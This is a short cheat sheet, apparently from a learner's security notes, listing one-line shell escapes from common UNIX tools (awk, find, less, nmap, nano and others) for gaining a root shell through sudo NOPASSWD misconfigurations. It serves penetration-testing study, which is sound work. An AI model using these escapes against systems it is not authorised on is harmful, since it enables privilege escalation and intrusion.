Shell Escapes

author: Nathan Acks
date: 2021-10-31

Many common UNIX applications allow you to escape to a shell. This is particularly useful if they can be run with NOPASSWD via sudo.

• awk - awk 'BEGIN {system("/bin/sh")}'
• find - find . -exec /bin/sh \; -quit
• ftp - !/bin/sh
• iftop - !/bin/sh
• less - !/bin/sh
• man - !/bin/sh
• more - !/bin/sh (may require TERM to be unset)
• nano - ^R^X followed by reset; sh 1>&0 2>&0
• nmap - create a file containing os.execute("/bin/sh") and then run nmap --script=$FILE
• vim - see “Set a Shell in ViM”

GTFOBins is your one-stop resource for shell escape information.

• TryHackMe: Complete Beginner
• GTFOBins
• Enumerate “sudo” Access
• Set a Shell in ViM